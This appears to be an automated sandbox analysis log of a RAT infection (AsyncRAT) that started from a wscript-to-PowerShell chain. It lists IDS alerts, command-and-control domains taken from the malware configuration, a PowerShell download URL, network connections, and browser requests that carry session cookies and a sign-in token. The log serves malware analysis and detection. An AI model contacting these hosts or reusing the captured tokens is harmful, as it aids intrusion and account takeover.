Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No favicon
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No favicon
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No favicon

Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No <meta name="author".. found
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No <meta name="author".. found

Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No <meta name="copyright".. found
Source: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI	HTTP Parser: No <meta name="copyright".. found

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49796 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 24.152.39.120:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:50262 version: TLS 1.2

Source:	Binary string: NewPE2.pdb source: powershell.exe, 0000000E.00000002.3131786899.000002A173172000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.4289984236.0000025DD6364000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: NewPE2.pdb8 source: powershell.exe, 0000000E.00000002.3131786899.000002A173172000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.4289984236.0000025DD6364000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2683417617.00000187865B0000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 128.90.129.125:9443 -> 192.168.2.5:50448
Source: Network traffic	Suricata IDS: 2030673 - Severity 1 - ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server) : 128.90.129.125:9443 -> 192.168.2.5:50448
Source: Network traffic	Suricata IDS: 2035595 - Severity 1 - ET MALWARE Generic AsyncRAT Style SSL Cert : 128.90.129.125:9443 -> 192.168.2.5:50448
Source: Network traffic	Suricata IDS: 2035607 - Severity 1 - ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server) : 128.90.129.125:9443 -> 192.168.2.5:50448

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: cdt2023.ddns.net
Source: Malware configuration extractor	URLs: chromedata.accesscam.org
Source: Malware configuration extractor	URLs: chromedata.webredirect.org
Source: Malware configuration extractor	URLs: cepas2023.duckdns.org

Yara detected Generic Downloader

Source: Yara match	File source: 25.2.powershell.exe.18786a18480.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.powershell.exe.1ed141288a8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.25dc66c8ce0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.2a1634d9528.0.raw.unpack, type: UNPACKEDPE

Source: unknown

Network traffic detected: DNS query count 45

Source: unknown

Network traffic detected: IP country count 11

Source: global traffic	TCP traffic: 192.168.2.5:49772 -> 91.235.132.129:3478
Source: global traffic	TCP traffic: 192.168.2.5:49812 -> 13.248.195.177:11949
Source: global traffic	TCP traffic: 192.168.2.5:50448 -> 128.90.129.125:9443
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 64.131.63.217:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 82.113.193.63:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 74.125.250.129:19302
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 154.73.34.8:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 77.72.169.212:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 77.72.169.211:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 85.93.219.114:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 185.208.37.90:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 213.140.209.236:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 94.23.17.185:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 212.227.67.33:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 81.187.30.115:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 85.17.88.164:3478
Source: global traffic	UDP traffic: 192.168.2.5:60294 -> 212.227.67.34:3478

Source: Joe Sandbox View	IP Address: 82.113.193.63 82.113.193.63
Source: Joe Sandbox View	IP Address: 18.239.69.15 18.239.69.15
Source: Joe Sandbox View	IP Address: 81.187.30.115 81.187.30.115
Source: Joe Sandbox View	IP Address: 77.72.169.212 77.72.169.212

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2009207 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5) : 192.168.2.5:60294 -> 212.227.67.33:3478
Source: Network traffic	Suricata IDS: 2009208 - Severity 1 - ET MALWARE Possible Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 16) : 192.168.2.5:60294 -> 85.17.88.164:3478
Source: Network traffic	Suricata IDS: 2009205 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 1) : 192.168.2.5:60296 -> 154.73.34.8:3478
Source: Network traffic	Suricata IDS: 2009207 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5) : 192.168.2.5:60296 -> 85.93.219.114:3478
Source: Network traffic	Suricata IDS: 2009207 - Severity 1 - ET MALWARE Possible KEYPLUG/Downadup/Conficker-C P2P encrypted traffic UDP Ping Packet (bit value 5) : 192.168.2.5:60294 -> 82.113.193.63:3478
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49738 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49746 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49751 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49754 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49759 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49767 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49782 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49787 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.5:49784
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49803 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49832 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49883 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49918 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49795 -> 24.152.39.120:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.5:50262

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49796 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: global traffic	HTTP traffic detected: GET /sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI HTTP/1.1Host: account.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/709_c32002792e35c69191e8.css HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/704_9a0ec8d2f80e7d346616.css HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/629_a83b0423500bf7bdde4f.css HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/57_cdf5aee7e46d7f904246.css HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/fvtrpw.gif HTTP/1.1Host: account.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTIAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bkng_ap=U2FsdGVkX18wu%2BissjGDgpVJJXgVu%2FiDrd3e0Hk6QmiTkzgsoOBxE399LovQjxt8JWGwoT8D6mtm%0AO%2BpijFpcwg%3D%3D%0A; pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/runtime~index_a9240719fc64a8f3ef82.js HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics.js?ca=accountsportal HTTP/1.1Host: saa.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/54_97d049b4c4a1c2f7cfdb.js HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/OtAutoBlock.js HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/OtAutoBlock.js HTTP/1.1Host: cdn.cookielaw.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/709_bad9882915aa6a1c2b70.js HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/704_e7ede50c1fdac354671b.js HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /license/2/image.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: skynetx.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /psb/accountsportal/assets/624_96ca1b056e9464729f28.js HTTP/1.1Host: cf.bstatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
